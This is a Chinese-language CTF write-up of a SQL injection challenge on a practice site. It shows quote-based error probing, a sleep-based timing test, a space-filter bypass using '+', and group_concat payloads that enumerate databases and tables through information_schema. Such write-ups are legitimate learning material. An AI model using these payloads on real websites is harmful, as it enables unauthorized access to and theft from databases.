实验吧一个小坑注入

这周日比赛,看去年的wp很多题注入,再练习一波吧。虽然看似简单,但是做起来确实实属费劲。或许是菜吧。

URL地址:http://ctf5.shiyanbar.com/423/web/?id=1

添加一个单引号报错如下:

<pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1</pre>

尝试闭合,使用两个单引号成功闭合。

http://ctf5.shiyanbar.com/423/web/?id=1'and sleep(3)'

发现不仅仅没有延时而且报错还有问题。

<pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1</pre>

 and不见了。可见and直接被替换为空了。

Fuzz一下看看过滤了那些

http://ctf5.shiyanbar.com/web/?id=1' and' 

回显是

<pre>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1</pre>

空格andd单引号都被替换为空了,但是单引号是很明显不拦截的。也就是说空格以后的他都没有执行。说明空格很可能是被过滤的。尝试空格替换为空

http://ctf5.shiyanbar.com/423/web/?id=1'+and'

这次就跟预期的一样了。因为1'+and'背身就要为null的。由此推出过滤了空格。

这里几乎可以猜测得到他的SQL语句大概是这样写的select username from user where id = '1';

坑1

尝试order by

根据猜测的注入语句来看是使用不了order by 的 

经过测试也确实如此。就不多BB了

然后直接跑所有库group_concat(schema_name)+from+information_schema.schemata

考虑到后面的单引号闭合。可以使用where+'1

group_concat(schema_name)+from+information_schema.schemata+where+'1

坑2

是查不了当下库的所有表的。也就是说你只能查所有表。

group_concat(table_name)+from+information_schema.tables+where+'1
是不能直接查当下库的表的。


原文地址:https://www.cnblogs.com/nul1/p/9629923.html